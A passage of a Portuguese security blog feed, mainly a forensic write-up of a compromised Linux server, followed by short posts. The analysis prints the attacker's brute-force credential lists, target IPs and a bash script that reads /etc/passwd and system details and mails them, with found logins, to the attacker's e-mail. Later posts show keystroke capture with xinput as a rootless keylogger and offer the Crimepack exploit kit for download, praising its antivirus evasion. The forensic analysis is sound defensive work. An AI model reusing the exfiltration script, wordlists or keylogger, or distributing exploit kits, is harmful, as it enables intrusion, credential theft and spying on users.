<p>Vemos que o atacante fez o download de um arquivo compactado chamado sipscan.tgz, esta ferramenta de enumeration, que é utilizada para obter mais informações sobre um servidor SIP, também presente para plataforma windows. O atacante não conseguiu instalar e removeu o diretório do programa, tentamos fazer o download através do link, mas sem sucesso.</p>
<p>Como também não encontrei o arquivo &#8216;wakodi.tgz&#8217; dentro do servidor, recorremos ao dump da memória, pelo menos para saber se o arquivo descompactado é realmente o software de gerenciamento ou se ele esta escondido em algum diretório.</p>
<p>O dump da memória requer muita paciência e estudo, pois muitas informações podemos categorizar nesta situação como &#8220;lixo&#8221; são exibidas na tela quando utilizado a ferramenta strings. Para realizar o dump será necessário ter espaço em disco para armazenar o arquivo, pois temos 1Gb de memória RAM, e o arquivo gerado pelo dump terá aproximadamente o tamanho da memória.</p>
<p>Para realizarmos o dump, utilizamos o comando &#8216;dd&#8217;, muito comum em sistemas operacionais linux!</p>
<p><em>dns:~# dd if=/dev/mem of=memory.dump</em></p>
<p>&nbsp;</p>
<p>Pronto, agora temos o dump e podemos usar o strings para localizar alguma evidência.</p>
<p><em>dns:~# strings memory.dump &gt;&gt; memory.txt</em></p>
<p>&nbsp;</p>
<p>Primeiro jogamos a saída do comando strings para um arquivo para analisarmos com mais calma. Vejamos abaixo.</p>
<p><em>&#8230;.</em></p>
<div>
<p><em>&#8230;.</em></p>
<p><em> </em></p>
<p><em>_=./atack</em></p>
<p><em>./atack</em></p>
<p><em>ftpuser 1234</em></p>
<p><em>ftpuser 12345</em></p>
<p><em>ftpuser 123456</em></p>
<p><em>ftpuser 1234567</em></p>
<p><em>oracle oracle</em></p>
<p><em>oracle oracle1</em></p>
<p><em>oracle oracle12</em></p>
<p><em>oracle oracle123</em></p>
<p><em>oracle password</em></p>
<p><em>oracle password123</em></p>
<p><em>oracle password321</em></p>
<p><em>oracle pass1</em></p>
<p><em>oracle pass12</em></p>
<p><em>oracle pass123</em></p>
<p><em>oracle oinstall</em></p>
<p><em>oracle elcaro</em></p>
<p><em>oracle 1</em></p>
<p><em>oracle 123</em></p>
<p><em>oracle 1234</em></p>
<p><em>oracle 12345</em></p>
<p><em>oracle 123456</em></p>
<p><em>oracle 1234567</em></p>
<p><em>oracle 12345678</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>Sep 18 21:45:04 dns sshd[23998]: Invalid user calista from 118.127.0.242</em></p>
<p><em>Sep 18 21:45:04 dns sshd[23998]: pam_unix(sshd:auth): check pass; user unknown</em></p>
<p><em>Sep 18 21:45:04 dns sshd[23998]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.dancemusichub.com </em></p>
<p><em>Sep 18 21:45:05 dns sshd[23978]: reverse mapping checking getaddrinfo for 79-117-72-85.rdsnet.ro [79.117.72.85] failed &#8211; POSSIBLE BREAK-IN ATTEMPT!</em></p>
<p><em>Sep 18 21:45:05 dns sshd[24002]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=www.dancemusichub.com  user=root</em></p>
<p><em>Sep 18 21:45:06 dns sshd[23978]: Accepted password for test from 79.117.72.85 port 1554 ssh2</em></p>
<p><em>Sep 18 21:45:06 dns sshd[23978]: pam_unix(sshd:session): session opened for user test by (uid=0)</em></p>
<p><em>Sep 18 21:45:06 dns sshd[23992]: Failed password for invalid user cameryn from 118.127.0.242 port 59713 ssh2</em></p>
<p><em>Sep 18 21:45:06 dns sshd[23994]: Failed password for root from 118.127.0.242 port 59813 ssh2</em></p>
<p><em>Sep 18 21:45:06 dns sshd[23997]: Failed password for root from 118.127.0.242 port 59837 ssh2</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>tar</em></p>
<p><em>wakodi.tgz</em></p>
<p><em>/1</em></p>
<p><em>/2</em></p>
<p><em>/3</em></p>
<p><em>/4</em></p>
<p><em>/5</em></p>
<p><em>/atack</em></p>
<p><em>/common</em></p>
<p><em>/gen-pass.sh</em></p>
<p><em>/go.sh</em></p>
<p><em>/mfu.txt</em></p>
<p><em>/pass_file</em></p>
<p><em>/pscan2</em></p>
<p><em>/scam</em></p>
<p><em>/secure</em></p>
<p><em>/ss</em></p>
<p><em>/ssh-scan</em></p>
<p><em>/vuln.txt</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
</div>
<p>&nbsp;</p>
<p>Vemos que mesmo com os <em>logs</em> apagados ainda conseguiríamos resgatar informações muito valiosas com o dump da memória, uma delas são as tentativas de conexões via ssh e os ip&#8217;s de origem.</p>
<p>Na memória temos um binário sendo executado, &#8216;./atack&#8217; e logo em seguida o que parece ser são usuários e senhas. Anteriormente detectei que o servidor estava servindo de ponte para ataques de <em>brute force</em> á outros servidores, este binário &#8216;atack&#8217; deve nos informar quais são os alvos e as senhas do <em>brute force</em>.</p>
<p>O arquivo &#8216;wakodi.tgz&#8217; foi descompactado e muitas coisas estavam ali dentro, dentre elas o binário &#8216;atack&#8217;. Vamos a busca!</p>
<p>&nbsp;</p>
<p>Utilizando o comando &#8216;lsof&#8217;, presente nas distribuições linux, consegui localizar quais arquivos são utilizados em um processo específico, vamos atrás do processo atack, pid número27775. A saída do comando lsof abaixo:</p>
<p>&nbsp;</p>
<div>
<p><em>COMMAND   PID USER   FD   TYPE  DEVICE   SIZE  NODE NAME</em></p>
<p><em>atack   27775 test  cwd    DIR    3,65   4096 32775 /tmp/   /unixcod</em></p>
<p><em>atack   27775 test  rtd    DIR    3,65   4096     2 /</em></p>
<p><em>atack   27775 test  txt    REG    3,65 846832 32779 /tmp/   /unixcod/atack</em></p>
<p><em>atack   27775 test    0u   CHR   136,0            2 /dev/pts/0</em></p>
<p><em>atack   27775 test    1u   CHR   136,0            2 /dev/pts/0</em></p>
<p><em>atack   27775 test    2u   CHR   136,0            2 /dev/pts/0</em></p>
<p><em>atack   27775 test    4r   REG    3,65 225439 32782 /tmp/   /unixcod/data.conf</em></p>
</div>
<p>&nbsp;</p>
<p>Ao entrar no diretório &#8216;/tmp&#8217;, não encontramos o diretório &#8216;unixcod&#8217; como descrito acima, mas se vermos bem, o nosso intruso criou uma pasta sem nome.</p>
<div>
<p><em>root@dns:/tmp# ls -la</em></p>
<p><strong><em>drwxr-xr-x  2 test test   4096 Set 19 00:57</em></strong></p>
<p><em>drwxrwxrwt  4 root root   4096 Set 18 23:42 .</em></p>
<p><em>drwxr-xr-x 15 root root   4096 Set 16 02:10 ..</em></p>
</div>
<p>&nbsp;</p>
<p>Vemos um diretório criado pelo usuário &#8216;test&#8217;, para acessarmos:</p>
<p>&nbsp;</p>
<div>
<p><em>root@dns:/tmp# cd &#8220;  &#8220;</em></p>
<p><em>root@dns:/tmp/  # pwd</em></p>
<p><em>/tmp/</em></p>
<p><em>root@dns:/tmp/  # cd unixcod</em></p>
</div>
<p>&nbsp;</p>
<p>Vamos utilizar o strings para ver o que binário &#8216;atack&#8217; nos informa&#8230;</p>
<p>&nbsp;</p>
<div>
<p><em>File: atack</em></p>
<p><em>MD5:  588336eac505ee9db3c23c2a00cd394e</em></p>
<p><em>Size: 846832</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
<p><em>[+] UnixCoD Atack 2005 ver 0&#215;10  [ Made By : Ghost Kilah ]</em></p>
<p><em>data.conf</em></p>
<p><em>Lipsa  data.conf</em></p>
<p><em>Too large banner</em></p>
<p><em>Remote host closed connection</em></p>
<p><em>SSH-2.0-libssh-0.1</em></p>
<p><em>Got SSH_MSG_NEWKEYS</em></p>
<p><em>SSH_MSG_NEWKEYS sent</em></p>
<p><em>No signature in packet</em></p>
<p><em>No F number in packet</em></p>
<p><em>No public key in packet</em></p>
<p><em>banner : %s</em></p>
<p><em>Hostname required</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>resolving %s</em></p>
<p><em>connect: %s</em></p>
<p><em>Binding local address : %s</em></p>
<p><em>socket : %s</em></p>
<p><em>Failed to resolve bind address %s (%s)</em></p>
<p><em>Failed to resolve hostname %s (%s)</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>partial success, authentications that can continue : %s</em></p>
<p><em>Access denied. authentications that can continue : %s</em></p>
<p><em>invalid SSH_MSG_USERAUTH_FAILURE message</em></p>
<p><em>&#8230;</em></p>
</div>
<p>&nbsp;</p>
<p>e o conteúdo do arquivo &#8216;data.conf&#8217;</p>
<p><em>root root</em></p>
<div>
<p><em>root root1</em></p>
<p><em>root root12</em></p>
<p><em>root root123</em></p>
<p><em>root root1234</em></p>
<p><em>root root12345</em></p>
<p><em>root root123456</em></p>
<p><em>root 1</em></p>
<p><em>root 12</em></p>
<p><em>root 123</em></p>
<p><em>root 1234</em></p>
<p><em>root 12345</em></p>
<p><em>root 123456</em></p>
<p><em>root 1234567</em></p>
<p><em>root 12345678</em></p>
<p><em>root 123456789</em></p>
<p><em>root redhat</em></p>
<p><em>root test123</em></p>
<p><em>root admin123</em></p>
<p><em>root router</em></p>
<p><em>test testtest</em></p>
<p><em>test test</em></p>
<p><em>test password</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
</div>
<p>&nbsp;</p>
<p>No diretório localizei mais cinco arquivos onde continham usuário e senhas para o <em>brute force</em>, em um deles localizei a senha que tínhamos utilizado para o usuário &#8216;root&#8217; do servidor, veja abaixo:</p>
<p>&nbsp;</p>
<div>
<p><em>globus globus</em></p>
<p><em>condor condor</em></p>
<p><em>tomcat tomcat</em></p>
<p><em>global global</em></p>
<p><em>upload upload</em></p>
<p><em>jboss jboss</em></p>
<p><em>postmaster postmaster</em></p>
<p><em>demo demo</em></p>
<p><em>apache apache</em></p>
<p><em>postgres postgres</em></p>
<p><em>mysql mysql</em></p>
<p><em>tester tester</em></p>
<p><em>testing testing</em></p>
<p><em>test test</em></p>
<p><em>photo photo</em></p>
<p><em>oracle oracle</em></p>
<p><em>&#8230;</em></p>
<p><em>&#8230;</em></p>
<p><em>root testtest</em></p>
<p><em>root !@#test</em></p>
<p><em>root test!@#</em></p>
<p><strong><em>root r00t</em></strong></p>
<p><em>root server123</em></p>
<p><em>root 123server</em></p>
<p><em>root server</em></p>
<p><em>root internet</em></p>
<p><em>root windows</em></p>
<p><em>root admin!@#</em></p>
<p><em>root !@#admin</em></p>
<p><em>root mysql123</em></p>
<p><em>root 123mysql</em></p>
<p><em>root *</em></p>
<p><em>root **</em></p>
<p><em>root ***</em></p>
<p><em>root ****</em></p>
<p><em>root *****</em></p>
<p><em>root ******</em><em></em></p>
</div>
<p>&nbsp;</p>
<p>Mais artefatos!!</p>
<p>&nbsp;</p>
<div>
<p><em>#!/bin/bash</em></p>
<p><em>echo &#8220;[+] [+] [+] RK [+] [+] [+]&#8221; &gt;&gt; info2</em></p>
<p><em>echo &#8220;[+] [+] [+] IP [+] [+] [+]&#8221; &gt;&gt; info2</em></p>
<p><em>/sbin/ifconfig -a &gt;&gt; info2</em></p>
<p><em>echo &#8220;[+] [+] [+] uptime [+] [+] [+]&#8221; &gt;&gt; info2</em></p>
<p><em>uptime &gt;&gt; info2</em></p>
<p><em>echo &#8220;[+] [+] [+] uname -a [+] [+] [+]&#8221; &gt;&gt; info2</em></p>
<p><em>uname -a &gt;&gt; info2</em></p>
<p><em>echo &#8220;[+] [+] [+] /etc/issue [+] [+] [+]&#8221; &gt;&gt; info2</em></p>
<p><em>cat /etc/issue &gt;&gt; info2</em></p>
<p><em>echo &#8220;[+] [+] [+] passwd [+] [+] [+]&#8221; &gt;&gt; info2</em></p>
<p><em>cat /etc/passwd &gt;&gt; info2</em></p>
<p><em>echo &#8220;[+] [+] [+] id [+] [+] [+]&#8221; &gt;&gt; info2</em></p>
<p><em>id &gt;&gt; info2</em></p>
<p><em>echo &#8220;[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]&#8221; &gt;&gt; info2</em></p>
<p><em>df -h &gt;&gt; info2</em></p>
<p><em>pwd &gt;&gt; info2</em></p>
<p><em>cat info2 | mail -s &#8220;Scanner MaLa Port : ?? | Pass : stii tu <img src='http://www.layer8howto.net/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )&#8221; mafia89tm@yahoo.com</em></p>
<p><em>rm -rf info2</em></p>
<p><em>clear</em></p>
<p><em> </em></p>
<p><em>echo &#8220;####################################################################&#8221; </em></p>
<p><em>echo &#8220;#                       ______                                  &#8220;</em></p>
<p><em>echo &#8220;#                               .-.      .-.                               &#8221;</em></p>
<p><em>echo &#8220;#                              /            \                              &#8220;</em></p>
<p><em>echo &#8220;#                             |     zRR      |                             &#8221; </em></p>
<p><em>echo &#8220;#                             |,  .-.  .-.  ,|                             &#8220;  </em></p>
<p><em>echo &#8220;#                             | )(z_/  \z_)( |                             &#8221; </em></p>
<p><em>echo &#8220;#                             |/     /\     \|                             &#8221; </em></p>
<p><em>echo &#8220;#                     _       (_     ^^     _)                             &#8221; </em></p>
<p><em>echo &#8220;#             _\ ____) \_______\__|IIIIII|__/_________________________     &#8221; </em></p>
<p><em>echo &#8220;#            (_)[___]{}&lt;________|-\IIIIII/-|__zRR__zRR__zRR___________\    &#8221; </em></p>
<p><em>echo &#8220;#              /     )_/        \          /                               &#8221; </em></p>
<p><em>echo &#8220;#                                \ ______ /                                            &#8221;</em></p>
<p><em>echo &#8220;#                         SCANER PRIVAT                             &#8221; </em></p>
<p><em>echo &#8220;#             SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe               &#8220;</em></p>
<p><em>echo &#8220;#            SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !!              </em><em>&#8221; </em></p>
<p><em>echo</em><em> &#8220;####################################################################&#8221;</em></p>
<p><em> </em></p>
<p><em>if [ -f a ]; then</em></p>
<p><em>cat vuln.txt |mail -s &#8220;Lame Gang Us Roots&#8221; mafia89tm@yahoo.com</em></p>
<p><em>./a $1.0</em></p>
<p><em>./a $1.1</em></p>
<p><em>./a $1.2</em></p>
<p><em>./a $1.3</em></p>
<p><em>./a $1.4</em></p>
<p><em>./a $1.5</em></p>
<p><em>./a $1.6</em></p>
<p><em>./a $1.7</em></p>
<p><em>./a $1.8</em></p>
<p><em>./a $1.9</em></p>
<p><em>./a $1.10</em></p>
<p><em>cat vuln.txt |mail -s &#8220;Lame Gang Us Roots&#8221; mafia89tm@yahoo.com</em></p>
<p><em>./a $1.11</em></p>
<p><em>./a $1.12</em></p>
<p><em>./a $1.13</em></p>
<p><em>./a $1.14</em></p>
<p><em>./a $1.15</em></p>
<p><em>./a $1.16</em></p>
<p><em>./a $1.17</em></p>
<p><em>./a $1.18</em></p>
<p><em>./a $1.19</em></p>
<p><em>./a $1.20</em></p>
<p><em>cat vuln.txt |mail -s &#8220;Lame Gang Us Roots&#8221; mafia89tm@yahoo.com</em></p>
<p><em>./a $1.21</em></p>
<p><em>./a $1.22</em></p>
<p><em>./a $1.23</em></p>
<p><em>./a $1.24</em></p>
<p><em>./a $1.25</em></p>
<p><em>./a $1.26</em></p>
<p><em>./a $1.27</em></p>
<p><em>./a $1.28</em></p>
<p><em>./a $1.29</em></p>
<p><em>./a $1.30</em></p>
<p><em>cat vuln.txt |mail -s &#8220;Lame Gang Us Roots&#8221; mafia89tm@yahoo.com</em></p>
<p><em>./a $1.31</em></p>
<p><em>./a $1.32</em></p>
<p><em>./a $1.33</em></p>
<p><em>./a $1.34</em></p>
<p><em>./a $1.35</em></p>
<p><em>./a $1.36</em></p>
<p><em>./a $1.37</em></p>
<p><em>./a $1.38</em></p>
<p><em>./a $1.39</em></p>
<p><em>./a $1.40</em></p>
<p><em>cat vuln.txt |mail -s &#8220;Lame Gang Us Roots&#8221; mafia89tm@yahoo.com</em></p>
<p><em>./a $1.41</em></p>
<p><em>./a $1.42</em></p>
<p><em>./a $1.43</em></p>
<p><em>./a $1.44</em></p>
<p><em>./a $1.45</em></p>
<p><em>./a $1.46</em></p>
<p><em>./a $1.47</em></p>
<p><em>./a $1.48</em></p>
<p><em>./a $1.49</em></p>
<p><em>./a $1.50</em></p>
<p><em>cat vuln.txt |mail -s &#8220;Lame Gang Us Roots&#8221; mafia89tm@yahoo.com</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
</div>
<p>&nbsp;</p>
<p>O script principal grava o endereço ip, usuário e senha dos alvos que obtiveram sucesso com o <em>brute force</em> grava no arquivo vuln.txt que também é enviado ao <em>mafia89tm@yahoo.com</em>.</p>
<p>&nbsp;</p>
<p>Além do <em>brute force</em>, consegui até o e-mail do atacante/grupo, que neste ultimo script coleta diversas informações sobre o endereço ip, sistema operacional, espaço em disco, usuários do sistema etc&#8230;</p>
<p>&nbsp;</p>
<p>Até o momento o arquivo vuln.txt esta vazio, abaixo veremos a lista de ip&#8217;s a serem atacados, localizado no arquivo texto &#8216;mfu.txt&#8217;, com um tamanho de 30kb.</p>
<p>&nbsp;</p>
<div>
<p><em>root@dns:/tmp/  /unixcod# cat mfu.txt</em></p>
<p><em>202.103.194.106</em></p>
<p><em>219.0.6.112</em></p>
<p><em>219.101.152.94</em></p>
<p><em>219.101.153.65</em></p>
<p><em>219.101.160.111</em></p>
<p><em>219.101.160.117</em></p>
<p><em>219.101.160.119</em></p>
<p><em>219.101.160.125</em></p>
<p><em>219.101.160.128</em></p>
<p><em>219.101.160.142</em></p>
<p><em>219.101.169.84</em></p>
<p><em>219.101.197.54</em></p>
<p><em>219.101.218.42</em></p>
<p><em>219.101.218.45</em></p>
<p><em>219.101.253.126</em></p>
<p><em>219.101.39.229</em></p>
<p><em>219.101.41.178</em></p>
<p><em>219.101.41.192</em></p>
<p><em>219.101.42.162</em></p>
<p><em>219.101.42.170</em></p>
<p><em>219.101.45.78</em></p>
<p><em>219.102.119.116</em></p>
<p><em>219.102.129.119</em></p>
<p><em>219.102.161.53</em></p>
<p><em>219.102.215.170</em></p>
<p><em>219.102.247.153</em></p>
<p><em>219.102.248.43</em></p>
<p><em>219.102.43.16</em></p>
<p><em>219.102.65.103</em></p>
<p><em>219.102.74.143</em></p>
<p><em>219.103.211.237</em></p>
<p><em>219.105.35.40</em></p>
<p><em>&#8230;.</em></p>
<p><em>&#8230;.</em></p>
</div>
<p>&nbsp;</p>
<p>No final desta terceira semana a quantidade de conexões de saída para diversos países do mundo era absurda, o processamento do servidor oscilava sempre entre 80% e 90% de uso.</p>
<p>Neste período não tive a oportunidade de ser testado com um exploit novo ou alguma técnica de exploração ou escalação de privilégios, porém devemos tomar atenção pois muitas coisas poderiam acontecer se o servidor ficasse por mais tempo online:</p>
<p>&nbsp;</p>
<ol start="1">
<li>O servidor poderia a partir de qualquer momento escanear portas de diversos hosts ou qualquer tipo de crime eletrônico poderia levar a sérios problemas judiciais.</li>
</ol>
<p>&nbsp;</p>
<ol start="2">
<li>Proliferação de Spam a partir do servidor, isto também é um crime eletrônico.</li>
</ol>
<p>&nbsp;</p>
<ol start="3">
<li>Armazenamento de vírus e malwares com foco em ataques automatizados.</li>
</ol>
<p>&nbsp;</p>
<ol start="4">
<li>Ataques de Negação de Serviço</li>
</ol>
<p>&nbsp;</p>
<ol start="5">
<li>Servir como mais um nó das grandes redes de <em>Botnets</em></li>
</ol>
<div><em>[]&#8216;s</em></div>
<div>Sergito</div>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/08/09/analise-de-um-servidor-comprometido/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Keylogger no linux sem permissão de Root</title>
		<link>http://www.layer8howto.net/wordpress/2011/07/21/keylogger-no-linux-sem-permissao-de-root/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/07/21/keylogger-no-linux-sem-permissao-de-root/#comments</comments>
		<pubDate>Thu, 21 Jul 2011 04:43:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ferramentas]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Utilitarios]]></category>
		<category><![CDATA[keylogger]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=361</guid>
		<description><![CDATA[Um artifício interessante quando precisa-se capturar inputs do teclado é utilizar o aplicativo que vem por padrão em algumas distros linux, o xinput. Com ele é possível capturar o keycode da tecla digitada de uma maneira muito fácil e sem precisar ser root. Vejam: trash@debian:/tmp$ xinput list "Configured Mouse"      id=2    [XExtensionPointer] Num_buttons is 9 Num_axes [...]]]></description>
			<content:encoded><![CDATA[<p>Um artifício interessante quando precisa-se capturar inputs do teclado é utilizar o aplicativo que vem por padrão em algumas distros linux, o xinput. Com ele é possível capturar o keycode da tecla digitada de uma maneira muito fácil e sem precisar ser root.</p>
<p>Vejam:</p>
<pre>trash@debian:/tmp$ xinput list</pre>
<pre>"Configured Mouse"      id=2    [XExtensionPointer]</pre>
<pre>Num_buttons is 9</pre>
<pre>Num_axes is 2</pre>
<pre>Mode is Relative</pre>
<pre>Motion_buffer is 256</pre>
<pre>Axis 0 :</pre>
<pre>Min_value is -1</pre>
<pre>Max_value is -1</pre>
<pre>Resolution is 1</pre>
<pre>Axis 1 :</pre>
<pre>Min_value is -1</pre>
<pre>Max_value is -1</pre>
<pre>Resolution is 1</pre>
<pre><span style="text-decoration: underline;"><strong>"Generic Keyboard"      id=3    [XExtensionKeyboard]</strong></span></pre>
<pre>Num_keys is 248</pre>
<pre>Min_keycode is 8</pre>
<pre>Max_keycode is 255</pre>
<p>&nbsp;</p>
<p>Temos acima, o  <span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace; font-size: 12px; line-height: 18px; white-space: pre;"><strong>&#8220;Generic Keyboard&#8221; id=3</strong></span></p>
<p>Passaremos por parâmetro o id que será o device que iremos capturar e mostrar os eventos recebidos.</p>
<p>&nbsp;</p>
<p>trash@debian:/tmp$ xinput test 3</p>
<p>key release 36</p>
<p>key press   46</p>
<p>lkey release 46</p>
<p>key press   31</p>
<p>ikey release 31</p>
<p>nkey press   57</p>
<p>key release 57</p>
<p>ukey press   30</p>
<p>key release 30</p>
<p>xkey press   53</p>
<p>key release 53</p>
<p>&nbsp;</p>
<p>Acima foi capturado todas as keycodes que foram digitadas pelo usuário &#8220;trash&#8221;, que no caso digitei a palavra &#8220;linux&#8221;. O &#8220;key release 36&#8243; = ENTER</p>
<p>&nbsp;</p>
<p>Caso não tenha o xinput, instale!! &#8220;aptitude install xinput&#8221; =D</p>
<p>Dica simples e &#8220;útil&#8221;</p>
<p>&nbsp;</p>
<p>[]&#8216;s</p>
<p>Sergito</p>
<p>&nbsp;</p>
<p><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace;"><span style="font-size: 12px; line-height: 18px; white-space: pre;"><br />
</span></span></p>
<p><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace;"><span style="font-size: 12px; line-height: 18px; white-space: pre;"><br />
</span></span></p>
<p><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace;"><span style="font-size: 12px; line-height: 18px; white-space: pre;"><strong><br />
</strong></span></span></p>
<p><span style="font-family: Consolas, Monaco, 'Courier New', Courier, monospace;"><span style="font-size: 12px; line-height: 18px; white-space: pre;"><strong><br />
</strong></span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/07/21/keylogger-no-linux-sem-permissao-de-root/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Engenharia Reversa do Skype</title>
		<link>http://www.layer8howto.net/wordpress/2011/06/03/engenharia-reversa-do-skype/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/06/03/engenharia-reversa-do-skype/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 04:50:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Notícias]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[skype]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=357</guid>
		<description><![CDATA[Há alguns meses atrás o código criptográfico do skype foi quebrado pelo Sean O&#8217;Neil onde foi divulgado o source do mesmo http://cryptolib.com/ciphers/skype/ ou http://pastebin.com/GHUc2pAX Desta vez foi realizado uma engenharia reversa pelo Efim Bushmanov, que fez uma análise mais a fundo e publicou no seu blog os sources e binários. Algo realmente muito interessante que você pode ver: http://skype-open-source.blogspot.com/2011/06/skype-protocol-reverse-engineered.html Com [...]]]></description>
			<content:encoded><![CDATA[<p>Há alguns meses atrás o código criptográfico do skype foi quebrado pelo <a href="http://www.linkedin.com/pub/sean-o-neil/20/a74/9a3">Sean O&#8217;Neil</a> onde foi divulgado o source do mesmo <a href="http://cryptolib.com/ciphers/skype/">http://cryptolib.com/ciphers/skype/</a> ou <a href="http://pastebin.com/GHUc2pAX">http://pastebin.com/GHUc2pAX</a></p>
<p>Desta vez foi realizado uma engenharia reversa pelo Efim Bushmanov, que fez uma análise mais a fundo e publicou no seu blog os sources e binários.</p>
<p>Algo realmente muito interessante que você pode ver: <a href="http://skype-open-source.blogspot.com/2011/06/skype-protocol-reverse-engineered.html">http://skype-open-source.blogspot.com/2011/06/skype-protocol-reverse-engineered.html</a></p>
<p>Com os sources publicamente divulgados e a compra do Skype pela Microsoft, ééé, eu pensaria 2x antes de falar algo.</p>
<p>&nbsp;</p>
<p>[]&#8216;s</p>
<p>Sergito</p>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/06/03/engenharia-reversa-do-skype/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Solução Siem Open source</title>
		<link>http://www.layer8howto.net/wordpress/2011/06/01/solucao-siem-open-source/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/06/01/solucao-siem-open-source/#comments</comments>
		<pubDate>Wed, 01 Jun 2011 04:43:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ferramentas]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Utilitarios]]></category>
		<category><![CDATA[logs]]></category>
		<category><![CDATA[siem]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=354</guid>
		<description><![CDATA[Para quem só ouviu falar do ossec em soluções SIEM open source, esta aqui mais uma ferramenta que pretendo testar em breve: http://sourceforge.net/projects/cyberoam-iview/ &#160; []&#8216;s Sergito]]></description>
			<content:encoded><![CDATA[<p>Para quem só ouviu falar do ossec em soluções SIEM open source, esta aqui mais uma ferramenta que pretendo testar em breve:</p>
<p><a href="http://sourceforge.net/projects/cyberoam-iview/">http://sourceforge.net/projects/cyberoam-iview/</a></p>
<p>&nbsp;</p>
<p>[]&#8216;s</p>
<p>Sergito</p>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/06/01/solucao-siem-open-source/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crimepack Exploit kit Download</title>
		<link>http://www.layer8howto.net/wordpress/2011/05/13/crimepack-exploit-kit-download/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/05/13/crimepack-exploit-kit-download/#comments</comments>
		<pubDate>Fri, 13 May 2011 05:36:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ferramentas]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[crimepack]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=351</guid>
		<description><![CDATA[Lançada nova versão do Exploit kit CrimePack (3.1.3), desta vez com algumas brincadeiras novas, dentre elas a exploração da vulnerabilidade do JRE na vítima e ofuscação do código bypassando possíveis AV&#8217;s. Outro recurso novo é a criação de pdf&#8217;s maliciosos com diversas opções de conexões reversas e mutações evitando a detecção. Vale a pena testar&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>Lançada nova versão do Exploit kit CrimePack (3.1.3), desta vez com algumas brincadeiras novas, dentre elas a exploração da vulnerabilidade do JRE na vítima e ofuscação do código bypassando possíveis AV&#8217;s.</p>
<p>Outro recurso novo é a criação de pdf&#8217;s maliciosos com diversas opções de conexões reversas e mutações evitando a detecção.</p>
<p>Vale a pena testar&#8230; antes de tudo, lembre-se!! vc irá precisar: Apache, PHP5, MySQL, libcurl, ioncube</p>
<p>No .zip contém instruções&#8230;</p>
<p>Download: <a href="http://www.layer8howto.net/wordpress/wp-content/uploads/2011/05/Crimepack-3.1.3.zip">Crimepack-3.1.3</a></p>
<p>&nbsp;</p>
<p>[]&#8216;s</p>
<p>Sergito</p>
]]></content:encoded>
			<wfw:commentRss>http://www.layer8howto.net/wordpress/2011/05/13/crimepack-exploit-kit-download/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>BackTrack 5 !!!</title>
		<link>http://www.layer8howto.net/wordpress/2011/05/11/backtrack-5/</link>
		<comments>http://www.layer8howto.net/wordpress/2011/05/11/backtrack-5/#comments</comments>
		<pubDate>Wed, 11 May 2011 04:34:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ferramentas]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[Utilitarios]]></category>
		<category><![CDATA[backtrack]]></category>

		<guid isPermaLink="false">http://www.layer8howto.net/wordpress/?p=349</guid>
